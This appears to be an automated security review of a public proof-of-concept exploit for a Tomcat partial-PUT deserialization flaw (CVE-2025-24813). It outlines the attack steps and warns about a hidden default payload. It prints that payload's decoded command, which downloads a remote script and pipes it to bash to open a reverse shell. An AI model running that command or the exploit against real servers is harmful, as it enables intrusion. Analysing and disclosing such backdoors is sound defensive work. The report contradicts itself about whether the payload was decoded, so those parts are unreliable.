Dhananjayasj/CVE-2025-24813-Apache-Tomcat-Partial-PUT-Deserialization-RCE-
PoC files
2 filesFile viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.
AnalysisSuspicious behavior
Technical assessment
Python script that performs remote code execution against a vulnerable Apache Tomcat instance by uploading a serialized Java payload via a partial PUT request and triggering deserialization through a crafted session cookie.
Backdoor review
Suspicious behaviorThe PoC script (CVE-2025-24813.py) contains a hardcoded, base64-encoded Java serialized payload that, when decoded, reveals an embedded reverse shell command connecting to a fixed external IP address (192.168.100.20:9000). The script's documentation instructs the operator to generate their own payload, but the provided default payload silently executes this undisclosed callback. This constitutes a material contradiction between the documented behavior and the actual code, creating a deceptive risk for the operator.
Classification basis and observed behavior
Classification basis
The Python script actively uploads a malicious serialized object and triggers its deserialization to achieve remote code execution, which is the definition of an exploit.
CVE-2025-24813.py:30-40Requirements
- Target Tomcat default servlet must have write access enabled (readonly=false).
README.md:11 - Target must have file-based session persistence configured with default storage location.
README.md:13 - Target classpath must include a deserialization gadget library (e.g., commons-collections).
README.md:15
Observed behavior
- Decodes a hardcoded base64-encoded Java serialized payload and writes it to a local file.
CVE-2025-24813.py:22-28 - Sends an HTTP PUT request to /payload.session with a Content-Range header to upload the serialized payload into the session storage directory.
CVE-2025-24813.py:30-34 - Sends an HTTP HEAD request with a crafted JSESSIONID cookie to trigger deserialization of the uploaded session file.
CVE-2025-24813.py:39-40 - Checks for HTTP 500 response to determine if the exploit likely succeeded.
CVE-2025-24813.py:43-46
Behaviors behind the backdoor verdict
Flagged behaviors
- The PoC script includes a hardcoded base64-encoded Java serialized payload (line 22) that decodes to a command executing a reverse shell to 192.168.100.20:9000. The script's comments (lines 19-20) instruct the user to generate their own payload, but the default payload silently establishes a connection to an external, operator-uncontrolled address without disclosure.
CVE-2025-24813.py:19-22
Observables
- Ipv4 Address
- 192.168.100.20Hardcoded reverse shell callback address embedded in the default base64-encoded payload within the PoC script.
CVE-2025-24813.py:22 - Tcp Port
- 9000Hardcoded reverse shell callback port embedded in the default base64-encoded payload within the PoC script.
CVE-2025-24813.py:22 - Command
- bash -c {echo,Y3VybCBodHRwOi8vMTkyLjE2OC4xMDAuMjA6OTAwMC9yZXYuc2ggfCBiYXNoCg==}|{base64,-d}|{bash,-i}Decoded command from the hardcoded payload that downloads and executes a script from the attacker-controlled server, establishing a reverse shell.
CVE-2025-24813.py:22
What the analysis did not establish
- The base64 payload is hardcoded and its exact behavior (e.g., command executed) cannot be confirmed without decoding and analyzing the serialized Java object, which is outside the scope of this text-only analysis.
- The script's success depends on specific, non-default Tomcat configurations that are not verified by the script itself.
- The review does not confirm that the external IP address (192.168.100.20) is currently active or controlled by an attacker.
- The decoded command downloads and executes a remote script (rev.sh), but the content of that script is not included in the evidence and was not analyzed.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.